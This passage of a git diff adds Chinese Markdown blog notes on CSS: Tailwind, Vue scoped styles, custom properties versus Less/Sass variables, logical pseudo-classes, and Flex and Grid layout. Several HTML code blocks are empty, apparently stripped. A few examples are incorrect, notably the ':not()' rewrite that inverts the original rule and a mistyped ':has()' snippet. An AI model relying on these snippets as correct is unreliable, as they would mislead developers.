代码,以结构+表现的形式,而且我们还通常会使用预处理语言,例如SCSS,Less等等,而Tailwind的思路简单来说就是将其变成长长的class类名。 + +**使用传统方式时,定制的设计需要定制的 CSS:** + +比如实现以下的小卡片 + +![image-20220801175009372](https://cdn.yihuiblog.top/images/202208011750577.png) + +```html +
    +
    + +
    +
    +

    ChitChat

    +

    You have a new message!

    +
    +
    + + +``` + +使用 Tailwind,则可以通过直接在 HTML 中应用预先存在的类来设置元素的样式,不需要再去设计CSS样式,命名和层级。 + +**而使用功能类构建自定义设计而无需编写 CSS:** + +```html +
    +
    + ChitChat Logo +
    +
    +
    ChitChat
    +

    You have a new message!

    +
    +
    +``` + +## Tailwind 展现出的优势 + +- **不需要为了给类命名而浪费精力**。 不需要仅仅为了设置一些样式而额外添加一些像 `sidebar-inner-wrapper` 这样冗长的类名,不必再为了一个 flex 容器的完美抽象命名而倍受折磨。 +- **不会增加的CSS代码量。** 使用传统方法,每次添加新功能时 CSS 文件都会变大。使用功能类,所有内容都是可重用的,因此我们几乎不需要编写新的CSS。 +- **更改会更安全**。 CSS 是全局性的,我们永远不知道当进行更改时会破坏掉什么,甚至影响到别的业务样式。但是我们的 HTML 中的类是本地的(HTML的UI普遍组件化、模块化的),不必担心影响到不可预知的问题。 + +## 与内联样式的区别 + +- **基于约束的设计**。使用内联样式,每个值都是一个数字, 而功能类是从预定义的设计系统中**选择样式**,这使得构建统一的UI变得更加容易。 +- **适合响应式的设计。**在内联样式中不能使用媒体查询, 但可以使用 Tailwind 的响应式功能类非常容易的构建完全响应式的界面。 +- **支持hover, focus, 以及其它伪类状态。**内联样式无法设置 hover 或者 focus 这样的状态, 但 Tailwind 的状态变体可以通过使用功能类非常容易地为这些状态设置样式。 + +## 可维护性 + +在使用功能优先的方式时,最大的可维护性问题是管理通用的可重复使用的功能类组合。官方文档说明则是认为,通过[提取组件](https://www.tailwindcss.com/docs/extracting-components)(通常做为模板片断或者组件),可以轻松解决此问题,类比就是我们在Vue,React框架中经常进行的组件的拆分和复用。 + +除此之外,维护功能优先的 CSS 项目比维护大型 CSS 代码库要容易得多,因为 HTML 比 CSS 维护容易得多(更加直观)。 + +但是我觉得这边可能也是值得讨论的地方,在没有更加优秀统一的CSS约定(包括使用预处理语言)的团队当中,这样的维护成本、开发和学习成本是很低的,而且当新员工刚刚接手项目的适合会很直观,不用花大量时间阅读CSS代码。但是,也有同学反应这样使得我们的HTML文件变得巨大,而且单行很长,不易阅读。就我个人而言,对于React这样本身将标记和逻辑放在一起,再辅以tailwind的功能类组合,确实有点一段就代码就将结构、表现和逻辑一网打尽的感觉。 + diff --git "a/src/CSS/Vue scoped\345\261\236\346\200\247\347\232\204\347\224\250\351\200\224\345\222\214\345\267\245\344\275\234\345\216\237\347\220\206.md" "b/src/CSS/Vue scoped\345\261\236\346\200\247\347\232\204\347\224\250\351\200\224\345\222\214\345\267\245\344\275\234\345\216\237\347\220\206.md" new file mode 100644 index 00000000..71fff47d --- /dev/null +++ "b/src/CSS/Vue scoped\345\261\236\346\200\247\347\232\204\347\224\250\351\200\224\345\222\214\345\267\245\344\275\234\345\216\237\347\220\206.md" @@ -0,0 +1,181 @@ +--- +date: 2021-04-24 +star: true +category: +- CSS +- 前端 +--- + +> 关于写公司项目的时候因为没有给组件的` + + +``` + +转换结果: + +```html + + + + +``` + +### 关于css作用域 + +之前一直很困扰css的作用域问题,即使是模块化编程下,在对应的模块的js中import css进来,这个css仍然是全局的。导致在css中需要加上对应模块的html的id/class 使用css选择器 保证css的作用域不会变成全局 +而被其它模块的css污染。 + +在vue中引入了scoped这个概念,scoped的设计思想就是让当前组件的样式不会修改到其它地方的样式,使用了data-v-hash的方式来使css有了它对应模块的标识,这样写css的时候不需要加太多额外的选择器,方便很多。 + +但是要注意scoped的作用域,因为权重的问题,如果是在子组件使用了scoped,那么在父组件中是不能直接修改子组件的样式的,需要在父组件中使用vue的深度作用选择器。 + +### scoped坑点 + +在覆盖iview组件样式的时候发现一个问题,就是无法覆盖组件原有的样式,最后在github的`issue`中找到了答案: 不要使用`scoped`属性。于是我查找了下关于`scoped`的文章。 + +我们假设把这种组件叫做模块私有组件,其他的未加scoped的叫做模块一般组件。通过查看DOM结构发现:vue通过在DOM结构以及css样式上加唯一不重复的标记,以保证唯一,达到样式私有化模块化的目的。 + +**`scoped`三条渲染规则:** + +1. 给HTML的DOM节点加一个不重复data属性(形如:`data-v-19fca230`)来表示他的唯一性 + +2. 在每句css选择器的末尾(编译后的生成的css语句)加一个当前组件的`data`属性选择器(如`[data-v-19fca230]`)来私有化样式 + +3. 如果组件内部包含有其他组件,只会给其他组件的最外层标签加上当前组件的data属性 + +## 混用本地和全局样式 + +你可以在一个组件中同时使用有 scoped 和非 scoped 样式: + +```html + + + + +``` + +### 子组件的根元素 + +使用 `scoped` 后,父组件的样式将不会渗透到子组件中。不过一个子组件的根节点会同时受其父组件的 scoped CSS 和子组件的 scoped CSS 的影响。这样设计是为了让父组件可以从布局的角度出发,调整其子组件根元素的样式。 + +### 深度作用选择器 + +如果你希望 `scoped` 样式中的一个选择器能够作用得“更深”,例如影响子组件,你可以使用 `>>>` 操作符: + +```html + + +``` + +上述代码将会编译成: + +```css +.a[data-v-f3f3eg9] .b { /* ... */ +} +``` + +有些像 Sass 之类的预处理器无法正确解析 `>>>`。这种情况下你可以使用 `/deep/` 或 `::v-deep` 操作符取而代之——两者都是 `>>>` 的别名,同样可以正常工作。 + +### 动态生成的内容 + +通过 `v-html` 创建的 DOM 内容不受 scoped 样式影响,但是你仍然可以通过深度作用选择器来为他们设置样式。 + +### 还有一些要留意 + +- **Scoped 样式不能代替 class**。考虑到浏览器渲染各种 CSS 选择器的方式,当 `p { color: red }` 是 scoped 时 (即与特性选择器组合使用时) 会慢很多倍。如果你使用 class 或者 id + 取而代之,比如 `.example { color: red }`,性能影响就会消除。 +- **在递归组件中小心使用后代选择器!** 对选择器 `.a .b` 中的 CSS 规则来说,如果匹配 `.a` 的元素包含一个递归子组件,则所有的子组件中的 `.b` 都将被这个规则匹配。 + +## **问题补充:** + +### 如果不使用`scoped,`如何解决样式全局污染? + +推荐使用`scoped`推动组件私有化,文章所提到的不使用仅出现在已有UI库的样式覆盖上(当然人家用了`scoped` 那就很难办了)。 + +首先,解决**组件样式全局污染**,也就是我们在这里不使用`scoped` 覆盖了样式,那么我们在其他地方调用该组件就会被覆盖。那么我们在使用组件的时候对组件给一个**类名** 或者其他甄别属性(id),覆盖样式就针对该类名进行重写样式。 + +其次,解决**其他样式全局污染**,如果我们通过: + +```vue + + +``` + +引进样式,那么不使用`scoped` ,`"./test.less"` 中的其他类名样式可能会污染全局,我这里用一个比较笨的方法处理:在模板中使用两次`` 标签: + +```vue + + + +``` + +这样既覆盖了样式,其他样式不会被覆盖到全局,感兴趣的同学可以自己试一试。(注意两个标签的顺序)。 + +官网 [vue-loader](https://vue-loader.vuejs.org/zh/guide/scoped-css.html) 中提到每个vue模板中可以有多个`` +标签,所以上面的写法是没有问题的。 diff --git "a/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/CSS \350\207\252\345\256\232\344\271\211\345\261\236\346\200\247.md" "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/CSS \350\207\252\345\256\232\344\271\211\345\261\236\346\200\247.md" new file mode 100644 index 00000000..4c35cb57 --- /dev/null +++ "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/CSS \350\207\252\345\256\232\344\271\211\345\261\236\346\200\247.md" @@ -0,0 +1,187 @@ +--- +date: 2021-11-01 +category: +- CSS +- 前端 +--- + +# CSS 自定义属性/变量 (variables) + +自定义属性(有时候也被称作CSS 变量或者级联变量)是由 CSS 开发者自行定义的,它包含的值可以在整个文档中重复使用。由自定义属性标记设定值(比如: --main-color: black;),由 var() 函数来获取值(比如: color: var(--main-color);)复杂的网站都会有大量的 CSS 代码,通常也会有许多重复的值。 + +## 基本用法 + +声明一个自定义属性,属性名需要以两个减号(`--`)开始,属性值则可以是任何有效的 CSS 值。和其他属性一样,自定义属性也是写在规则集之内的,如下: + +```css +element { + --main-bg-color: brown; +} +``` + +所定义自定义属性需要在其可见作用域内(即被嵌套的标签内使用),通常的最佳实践是定义在根伪类 :root 下,这样就可以在 HTML 文档的任何地方访问到它了: + +```css +:root { + --main-bg-color: brown; +} +``` + +## 相关知识点 + +### var() 函数 + +**`var()`**函数可以代替元素中任何属性中的**值(value)**的任何部分。 + +**`var()`**方法的第一个参数是要替换的自定义属性的名称。函数的可选第二个参数用作回退值。如果第一个参数引用的自定义属性无效,则该函数将使用第二个值。 + +```css + = var( , ) +``` + +#### 举个栗子 + +```css +/* 后备值 */ + +/* 在父元素样式中定义一个值 */ +.component { + --text-color: #080; /* header-color 并没有被设定 */ +} + +/* 在 component 的样式中使用它: */ +.component .text { + color: var(--text-color, black); /* 此处 color 正常取值 --text-color */ +} +.component .header { + color: var(--header-color, blue); /* 此处 color 被回退到 blue */ +} +``` + +#### 特性 + +- **继承:**自定义属性会继承。这意味着如果在一个给定的元素上,没有为这个自定义属性设置值,在其父元素上的值会被使用。 + +- **备用值嵌套:**var()本身可以作为第二个值进行无限嵌套 + + ```css + .three { + background-color: var(--my-var, var(--my-background, pink)); + } + ``` + + 这样写可能会导致性能问题,因为它花了更多的时间在处理这些变量上。 + +- **有效性:**当自定义属性值被解析,浏览器不知道它们什么时候会被使用,所以必须认为这些值都是有效的。但是真实情况是,只有当`var()`函数调用的时候才能知道这些值的有效性,即*计算时有效性*。 + +- **无效情况:**先会检查属性 color 是否为继承属性,如果不是则将该值设置为它的**默认初始值**。 + +### `:root` 伪类 + +`:root` 这个 CSS 伪类匹配文档树的根元素。对于 HTML 来说,`:root` 表示 \ 元素,除了优先级更高之外,与 html 选择器相同。实践中主要用于声明全局CSS变量。 + +## 与Less和Sass变量的区别 + +### 声明 + +LESS用@符号,SCSS用$符号表示 + +```less +@link-color:#000 +@main-top : search; +``` + +```scss +$to-color:#000 +$main-top : search; +``` + +### 使用 + +不同于CSS,声明变量以“插值”的形式使用,并且不但可以表示为数值,文本嵌入表达式,还可以作为类名、属性名等。 + +```less +@myColor: red; + +h1 { + @myColor: green; // 只在 h1 里头有用,局部作用域 + color: @myColor; +} + +.@{myColor}{ + background-color: red +} + +@url-prefix: "http://XXXX"; + +.test { + background: url("@{url-prefix}/images/picutre001.png") no-repeat; +} +``` + +```scss +$myColor: red; + +h1 { + $myColor: green; // 只在 h1 里头有用,局部作用域 + color: $myColor; +} + +// 变量用#{}包裹 +.#{$myColor}{ + background-color: red +} + +$url-prefix: "http://XXXX"; + +.test { + background: url("#{$url-prefix}/images/picutre001.png") no-repeat; +} +``` + +### Less和Sass作用域规则不同 + +Less-作用域 + +```less +@color: #00c; /* 蓝色 */ +#header { + @color: #c00; /* red */ + border: 1px solid @color; /* 红色边框 */ +} + +#footer { + border: 1px solid @color; /* 蓝色边框 */ +} +``` + +Less-作用域编译后 + +```css +#header{border:1px solid #cc0000;} +#footer{border:1px solid #0000cc;} +``` + +scss-作用域 + +```scss +$color: #00c; /* 蓝色 */ + +#header { + $color: #c00; /* red */ + border: 1px solid $color; /* 红色边框 */ +} + +#footer { + border: 1px solid $color; /* 蓝色边框 */ +} +``` + +Sass-作用域编译后 + +```scss +#header{border:1px solid #c00} +#footer{border:1px solid #c00} +``` + +Less区分上下级作用域,使用与原生CSS `var()` 一致的作用域规则,SCSS为就近原则,即至顶向下的转换规则。 diff --git "a/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/CSS\350\277\233\351\230\266\357\274\232\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/CSS\350\277\233\351\230\266\357\274\232\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" new file mode 100644 index 00000000..9000badf --- /dev/null +++ "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/CSS\350\277\233\351\230\266\357\274\232\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" @@ -0,0 +1,167 @@ +--- +date: 2022-12-24 +category: +- CSS +--- + +# CSS进阶:逻辑组合伪类 :not() :is() :where() :has() + +本文将介绍4个逻辑组合伪类,分别是`:not()` `:is()` `:where()` `:has()` ,这四个伪类的自身优先级为0,这与其他伪类相同,但处理时是将其和括号里的参数作为一个整体计算优先级,这就导致了实际表现出的优先级由参数决定(除了`:where()` 的优先级总是为 0)。 + +目前这四位目前都得到了大多数浏览器的支持,同时非常实用,务必掌握哦~ + +## 否定伪类 :not() + +`:not()` 伪类用于否定选择器,可以接受一个或多个选择器作为参数,如果元素不匹配参数中的任何一个选择器,则匹配该伪类,它也被称为反选伪类(negation pseudo-class)。 + +1. `:not()` 伪类优先级是0,即本身没有任何优先级,其优先级由括号内表达式决定 + + ```css + :not(li) {} + ``` + + 其优先级就是 `li` 选择器的优先级。 + +2. `:not()` 伪类可以不断级联 + + ```css + body :not(div):not(span) { + font-weight: bold; + } + ``` + + 表示既不是`
    ` 也不是` ` 的元素 + +3. `:not()` 伪类目前已支持多个表达式 + + ```css + body :not(div, .fancy) { + text-decoration: overline underline; + } + ``` + + 表示不是`
    `或 `.fancy` 的元素 + +### 告别重置 + +`:not`伪类最大的作用就是可以优化我们过去重置CSS样式的策略,使我们代码更加简介,易于理解,例如: + +```css +.panel{ + display: none; +} + +.panel .active{ + display: block; +} +``` + +实际上我们可以简写成 + +```css +.panel :not(.active){ + display: block; +} +``` + +类似的,希望大家能够培养这种意识,对于遇到需要重置CSS样式的场景,第一反应就是使用`:not`伪类。 + +## 任意匹配伪类 :is() + +### :is()伪类与:matches()伪类及:any()伪类之间的关系 + +2018 年 10 月底,`:matches ()`伪类改名为`:is()`伪类 ([[selectors-4] Rename :matches() to :is() · Issue #3258 · w3c/csswg-drafts](https://github.com/w3c/csswg-drafts/issues/3258)),因为`:is()`的名称更简短,且其语义正好和`:not() `相反。 + +也就是说,`:matches ()`伪类是`:is ()`伪类的前身。然后很有趣的是`:matches ()`还有一个被舍弃的前身,那就是`:any()`伪类,被舍弃的原因是选择器的优先级不准确,`:any()`伪类会忽略括号里面选择器的优先级,而永远是普通伪类的优先级。 + +`:any()`伪类名义上虽然被舍弃了,但是除了 IE/Edge 以外的浏览器都支持,而且很早就支持,现在也都支持,不过都需要添加私有前缀,如`-webkit-any()`以及`-moz-any()`。 + +### 用法 + +`:is()` 将选择器列表作为参数,并选择该列表中任意一个选择器可以选择的元素。这对于以更紧凑的形式编写大型选择器非常有用。 + +```css +/* 选择 header、main、footer 里的任意一个悬浮状态的段落 */ +:is(header, main, footer) p:hover { + color: red; + cursor: pointer; +} + +/* 以上内容相当于以下内容 */ +header p:hover, +main p:hover, +footer p:hover { + color: red; + cursor: pointer; +} +``` + +### :is() 和 :where() 的区别 + +两者的区别在于 `:is()` 计入整体选择器的优先级(它接受优先级最高参数的优先级),而 `:where()` 的优先级为 0。 + +综上,`is()`是一个有用但不被迫切需要的伪类,但是还是很实用的 + +## 任意匹配伪类 :where() + +`:where()`伪类是和`:is()`伪类一同出现的,它们的含义、语法、作用一模一样。唯一的区别就是优先级不一样,`:where()` 伪类的优先级永远是 0。例如: + +```css +:where(.article, section) p {} +``` + +的优先级等同于 `p` 选择器,参数里的选择器的优先级被完全忽略。 + +又如: +```css +:where(#article, #section) .content {} +``` + +的优先级等同于`.content` 选择器 + +### 可容错选择器解析 + +规范将 `:is()` 和 `:where()` 定义为接受一个[可容错选择器列表](https://drafts.csswg.org/selectors-4/#typedef-forgiving-selector-list) + +在 CSS 中使用选择器列表时,如果任何选择器无效,则整个列表被视为无效,即如果某个选择器无法解析,则被视为无效,不正确或不受支持的选择器将被忽略,其他选择器将被使用。 + +```css +:is(:valid, :unsupported) { + /* … */ +} +``` + +即使在不支持 `:unsupported` 的浏览器中,仍将正确解析 `:valid`,而这种写法: + +```css +:valid, +:unsupported { + /* … */ +} +``` + +在不支持 `:unsupported` 浏览器中即使它们支持 `:valid`,仍将忽略。 + +## 关联伪类 :has() + +`:has()`伪类是一个规范制定得很早但浏览器却迟迟没有支持的伪类。如果浏览器能够支持,其功能会非常强大,因为它可以实现类似“父选择器”和“前面兄弟选择器”的功能(提供了一种针对引用元素选择父元素或者先前的兄弟元素的方法),对CSS 的开发会有颠覆性的影响。 + +例如: + +```css +a:has(> svg) [} +``` + +表示匹配包含有``元素的``元素,实现的就是“父选择器”的效果,即根据子元素选择父元素。 + +又如: + +```css +h1:has(+ p) {} +``` + +表示匹配后面跟随`

    `元素的`

    `元素,实现的就是“前面兄弟选择器”的效果,即根据后面的兄弟元素选择前面的元素。 + +早前这并没有被浏览器所支持,最近查看MDN发现很多浏览器已经支持了~([:has() - CSS(层叠样式表) | MDN](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:has)) + +![image-20230117165405737](https://cdn.yihuiblog.top/images/202301171654814.png) diff --git "a/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Flex \345\270\203\345\261\200.md" "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Flex \345\270\203\345\261\200.md" new file mode 100644 index 00000000..c097d49a --- /dev/null +++ "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Flex \345\270\203\345\261\200.md" @@ -0,0 +1,376 @@ +--- +date: 2021-04-24 +category: +- CSS +- 前端 +--- +# Flex 布局 + +> 本文总结自两篇非常不错的Flex布局讲解文章,希望可以帮到你。 + +## 简介 + +弹性盒子是 CSS3 的一种新的布局模式。CSS3 弹性盒( Flexible Box 或 flexbox),是一种当页面需要适应不同的屏幕大小以及设备类型时确保元素拥有恰当的行为的布局方式。引入弹性盒布局模型的目的是提供一种更加有效的方式来对一个容器中的子元素进行排列、对齐和分配空白空间。 + +弹性盒子由弹性容器(Flex container)和弹性子元素(Flex item)组成。弹性容器通过设置 display 属性的值为 flex 或 inline-flex将其定义为弹性容器。弹性容器内包含了一个或多个弹性子元素。 + +Flex适用于较高版本浏览器,如果是想要兼容较底版本,则推荐使用。好了,让我们速开始: + +## Flex 基本概念 + +![](https://pic4.zhimg.com/80/v2-54a0fc96ef4f455aefb8ee4bc133291b_720w.jpg) + +在 flex 容器中默认存在两条轴,**水平主轴(main axis) 和垂直的交叉轴(cross axis)**,这是默认的设置,当然你可以通过修改使垂直方向变为主轴,水平方向变为交叉轴,这个我们后面再说。 + +在容器中的每个单元块被称之为 **flex item**,每个项目占据的主轴空间为 (main size), 占据的交叉轴的空间为 (cross size)。 + +这里需要强调,不能先入为主认为宽度就是 main size,高度就是 cross size,这个还要**取决于你主轴的方向,如果你垂直方向是主轴,那么项目的高度就是 main size**。 + +## Flex 容器: + +首先,实现 flex 布局需要先指定一个容器,任何一个容器都可以被指定为 flex 布局,这样容器内部的元素就可以使用 flex 来进行布局。 + +```css +.container { + display: flex | inline-flex; //可以有两种取值 +} +``` + +分别生成一个块状或行内的 flex 容器盒子。简单说来,如果你使用**块元素如 div,你就可以使用 flex**,而如果你使用**行内元素**,你可以使用 **inline-flex**。 + +**注:当时设置 flex 布局之后,子元素的 float、clear、vertical-align 的属性将会失效。** + +有下面六种属性可以设置在容器上,它们分别是: + +```css +1. flex-direction +2. flex-wrap +3. flex-flow +4. justify-content +5. align-items +6. align-content +``` + +### 1. flex-direction: 决定主轴的方向(即项目的排列方向) + +```css +.container { + flex-direction: row | row-reverse | column | column-reverse; +} +``` + +**默认值:row,主轴为水平方向,起点在左端。** + +![](https://pic2.zhimg.com/80/v2-ae8828b8b022dc6f1b28d5b4f7082e91_720w.jpg) + +- **row-reverse:主轴为水平方向,起点在右端** + +![](https://pic3.zhimg.com/80/v2-215c8626ac95e97834eddb552cfa148a_720w.jpg) + +- **column:主轴为垂直方向,起点在上沿** + +![](https://pic1.zhimg.com/80/v2-33efe75d166a47588e0174d0830eb020_720w.jpg) + +- **column-reverse:主轴为垂直方向,起点在下沿** + +![](https://pic2.zhimg.com/80/v2-344757e0fb7eee11e75b127b8485e679_720w.jpg) + +### **2. flex-wrap: 决定容器内项目是否可换行** + +默认情况下,项目都排在主轴线上,使用 flex-wrap 可实现项目的换行。 + +**默认值:nowrap 不换行,即当主轴尺寸固定时,当空间不足时,项目尺寸会随之调整(变形)而并不会挤到下一行。** + +![](https://pic4.zhimg.com/80/v2-a590927ad6d83de8840d52a0cf2f0df3_720w.jpg) + +- **wrap:项目主轴总尺寸超出容器时换行,第一行在上方** + +![](https://pic2.zhimg.com/80/v2-426949b061e8179aab00cacda8168651_720w.jpg) + +- **wrap-reverse:换行,第一行在下方** + +![](https://pic2.zhimg.com/80/v2-91c53ebf744814e1ab60267643866439_720w.jpg) + +### **3. flex-flow: flex-direction 和 fl****x-wrap 的简写形式** + +```css +.container { + flex-flow: || ; +} +``` + +**没什么用,老老实实分开写** + +### **4. justify-content:定义了项目在主轴的对齐方式。** + +```css +.container { + justify-content: flex-start | flex-end | center | space-between | space-around; +} +``` + +PS:非常好用,类似自动化编排 + +**建立在主轴为水平方向时测试,即 flex-direction: row** + +**默认值: flex-start 左对齐** + +![](https://pic1.zhimg.com/v2-1bafab80044a7ab2a6198d5937172eb0_r.jpg) + +- **flex-end:右对齐** + +![](https://pic3.zhimg.com/80/v2-8b163809a4c944486a127a7c22eee7b2_720w.jpg) + +- **center:居中** + +![](https://pic4.zhimg.com/80/v2-dea82c75d35f532d35a52d1f9c1c762b_720w.jpg) + +- **space-between:两端对齐,项目之间的间隔相等,即剩余空间等分成间隙。** + +![](https://pic1.zhimg.com/80/v2-ea4061e0f64dd8d7a1fcb5b0ad6f96a8_720w.jpg) + +- **space-around:每个项目两侧的间隔相等,所以项目之间的间隔比项目与边缘的间隔大一倍。**(边0.5,间隔1) + +![](https://pic1.zhimg.com/80/v2-42a358111a221ff52768bdd55238eb0c_720w.jpg) + +### **5. align-items: 定义了项目在交叉轴上的对齐方式** + +```css +.container { + align-items: flex-start | flex-end | center | baseline | stretch; +} +``` + +**建立在主轴为水平方向时测试,即 flex-direction: row** + +默认值为 stretch 即如果项目未设置高度或者设为 auto,将**占满整个容器的高度。** + +![](https://pic2.zhimg.com/80/v2-0cced8789b0d73edf0844aaa3a08926d_720w.jpg) + +假设容器高度设置为 100px,而项目都没有设置高度的情况下,则项目的高度也为 100px。 + +- **flex-start:交叉轴的起点对齐** + +![](https://pic3.zhimg.com/80/v2-26d9e85039beedd78e412459bd436e8a_720w.jpg) + +假设容器高度设置为 100px,而项目分别为 20px, 40px, 60px, 80px, 100px, 则如上图显示。 + +- **flex-end:交叉轴的终点对齐** + +![](https://pic4.zhimg.com/80/v2-8b65ee47605a48ad2947b9ef4e4b01b3_720w.jpg) + +- **center:交叉轴的中点对齐** + +![](https://pic3.zhimg.com/80/v2-7bb9d8385273d8ad469605480f40f8f2_720w.jpg) + +- **baseline: 项目的第一行文字的基线对齐** + +以文字的底部为主,仔细看图可以理解。 + +![](https://pic3.zhimg.com/80/v2-abf7ac4776302ad078986f7cd0dddaee_720w.jpg) + +### **6. align-content: 定义了多根轴线的对齐方式,如果项目只有一根轴线,那么该属性将不起作用** + +```css +.container { + align-content: flex-start | flex-end | center | space-between | space-around | stretch; +} +``` + +这个这样理解: + +当你 flex-wrap 设置为 nowrap 的时候,容器仅存在一根轴线,因为项目不会换行,就不会产生多条轴线。 + +当你 flex-wrap 设置为 wrap 的时候,容器可能会出现多条轴线,这时候你就需要去设置多条轴线之间的对齐方式了。 + +建立在主轴为水平方向时测试,即 flex-direction: row, flex-wrap: wrap + +- **默认值为 stretch**,看下面的图就很好理解了 + +![](https://pic3.zhimg.com/80/v2-2d5feceece695fb84fd650fc49164bd6_720w.jpg) + +- **flex-start:轴线全部在交叉轴上的起点对齐(左上角)** + +![](https://pic2.zhimg.com/80/v2-61d92d7dc68e3d7d415a16830050fd11_720w.jpg) + +- **flex-end:轴线全部在交叉轴上的终点对齐(右下角)** + +![](https://pic2.zhimg.com/80/v2-0a0a7f10c50596aade787ae11b7b0a75_720w.jpg) + +- **center:轴线全部在交叉轴上的中间对齐** + +![](https://pic1.zhimg.com/80/v2-dcf53fce8dbcde7da9c677dd1a033860_720w.jpg) + +- **space-between:轴线两端对齐,之间的间隔相等,即剩余空间等分成间隙。(类比justify-content)** + +![](https://pic2.zhimg.com/80/v2-d80940f71e1e08d45d3d6df4c5401d0d_720w.jpg) + +- **space-around:每个轴线两侧的间隔相等,所以轴线之间的间隔比轴线与边缘的间隔大一倍。** + +![](https://pic2.zhimg.com/80/v2-7c4d5c01f3851a3cec7f8487c6edb21d_720w.jpg) + +## Flex 项目属性: + +**有六种属性可运用在 item 项目上:** + +1. order +2. flex-basis +3. flex-grow +4. flex-shrink +5. flex +6. align-self + +### **1. order: 定义项目在容器中的排列顺序,数值越小,排列越靠前,默认值为 0** + +```css +.item { + order: ; +} +``` + +![](https://pic3.zhimg.com/80/v2-d606874ac9c496b3a0e46573c85e4376_720w.jpg) + +在 HTML 结构中,虽然 -2,-1 的 item 排在后面,但是由于分别设置了 order,使之能够排到最前面。 + +### **2. flex-basis: 定义了在分配多余空间之前,项目占据的主轴空间,浏览器根据这个属性,计算主轴是否有多余空间** + +```css +.item { + flex-basis: | auto; +} +``` + +默认值:auto,即项目本来的大小, 这时候 item 的宽高取决于 width 或 height 的值。 + +**当主轴为水平方向的时候,当设置了 flex-basis,项目的宽度设置值会失效,flex-basis 需要跟 flex-grow 和 flex-shrink 配合使用才能发挥效果。** + +- 当 flex-basis 值为 0 % 时,是把该项目视为零尺寸的,故即使声明该尺寸为 140px,也并没有什么用。 +- 当 flex-basis 值为 auto 时,则跟根据尺寸的设定值(假如为 100px),则这 100px 不会纳入剩余空间。 + +### 3**. flex-grow: 定义项目的放大比例** + +```css +.item { + flex-grow: ; +} +``` + +默认值为 0,即如果存在剩余空间,也不放大(依照basis) + +![](https://pic4.zhimg.com/80/v2-5f7898c1f51fa7274a2c0b4a9dfd88c3_720w.jpg) + +当所有的项目都以 flex-basis 的值进行排列后,仍有剩余空间,那么这时候 flex-grow 就会发挥作用了。 + +如果所有项目的 flex-grow 属性都为 1,则它们将等分剩余空间。(如果有的话) + +如果一个项目的 flex-grow 属性为 2,其他项目都为 1,则前者占据的剩余空间将比其他项多一倍。 + +当然如果当所有项目以 flex-basis 的值排列完后发现空间不够了,且 flex-wrap:nowrap 时,此时 flex-grow 则不起作用了,这时候就需要接下来的这个属性。 + +### **4. flex-shrink: 定义了项目的缩小比例** + +```css +.item { + flex-shrink: ; +} +``` + +默认值: 1,即如果空间不足,该项目将缩小,负值对该属性无效。 + +![](https://pic4.zhimg.com/80/v2-383e97971a7fc8c4f84e6a85406dbcaf_720w.jpg) + +每个项目会被同比例进行缩小,因为默认值为 1。 + +- 如果所有项目的 flex-shrink 属性都为 1,当空间不足时,都将等比例缩小。 + +- 如果一个项目的 flex-shrink 属性为 0,其他项目都为 1,则空间不足时,前者不缩小。 + +### **5. flex: flex-grow, flex-shrink 和 flex-basis的简写** + +```css +.item{ + flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ] +} +``` + +flex 的默认值是以上三个属性值的组合。假设以上三个属性同样取默认值,则 flex 的默认值是 0 1 auto。 + +**有关快捷值:auto (1 1 auto) 和 none (0 0 auto)** + +- 当 flex 取值为一个非负数字,则该数字为 flex-grow 值,flex-shrink 取 1,flex-basis 取 0%,如下是等同的: + +```css +.item {flex: 1;} +.item { + flex-grow: 1; + flex-shrink: 1; + flex-basis: 0%; +} +``` + +- 当 flex 取值为 0 时,对应的三个值分别为 0 1 0% + +```css +.item {flex: 0;} +.item { + flex-grow: 0; + flex-shrink: 1; + flex-basis: 0%; +} +``` + +- 当 flex 取值为一个长度或百分比,则视为 flex-basis 值,flex-grow 取 1,flex-shrink 取 1,有如下等同情况(注意 0% 是一个百分比而不是一个非负数字) + +```css +.item-1 {flex: 0%;} +.item-1 { + flex-grow: 1; + flex-shrink: 1; + flex-basis: 0%; +} + +.item-2 {flex: 24px;} +.item-2 { + flex-grow: 1; + flex-shrink: 1; + flex-basis: 24px; +} +``` + +- 当 flex 取值为两个非负数字,则分别视为 flex-grow 和 flex-shrink 的值,flex-basis 取 0%,如下是等同的: + +```css +.item {flex: 2 3;} +.item { + flex-grow: 2; + flex-shrink: 3; + flex-basis: 0%; +} +``` + +- 当 flex 取值为一个非负数字和一个长度或百分比,则分别视为 flex-grow 和 flex-basis 的值,flex-shrink 取 1,如下是等同的: + +```css +.item {flex: 11 32px;} +.item { + flex-grow: 11; + flex-shrink: 1; + flex-basis: 32px; +} +``` + +> 建议优先使用这个属性,而不是单独写三个分离的属性。 +> +> grow 和 shrink 是一对,grow 表示扩张因子,shrink 表示是收缩因子。 + +## 结尾 + +> **参照:** +> +> [一劳永逸的搞定 flex 布局](https://juejin.cn/post/6844903474774147086) +> +> [CSS Flexible Box Layout](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout) +> +> [30 分钟学会 Flex 布局](https://zhuanlan.zhihu.com/p/2530343) +> + diff --git "a/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Grid \345\270\203\345\261\200.md" "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Grid \345\270\203\345\261\200.md" new file mode 100644 index 00000000..2fee42d9 --- /dev/null +++ "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Grid \345\270\203\345\261\200.md" @@ -0,0 +1,855 @@ +--- +date: 2021-04-24 +category: +- CSS +- 前端 +--- +# Grid 布局 + +> 作者:Gopal +> 链接:https://juejin.cn/post/6854573220306255880 +> 来源:稀土掘金 + +## Grid 布局是什么? + +`Grid` 布局即网格布局,是一种新的 `CSS` 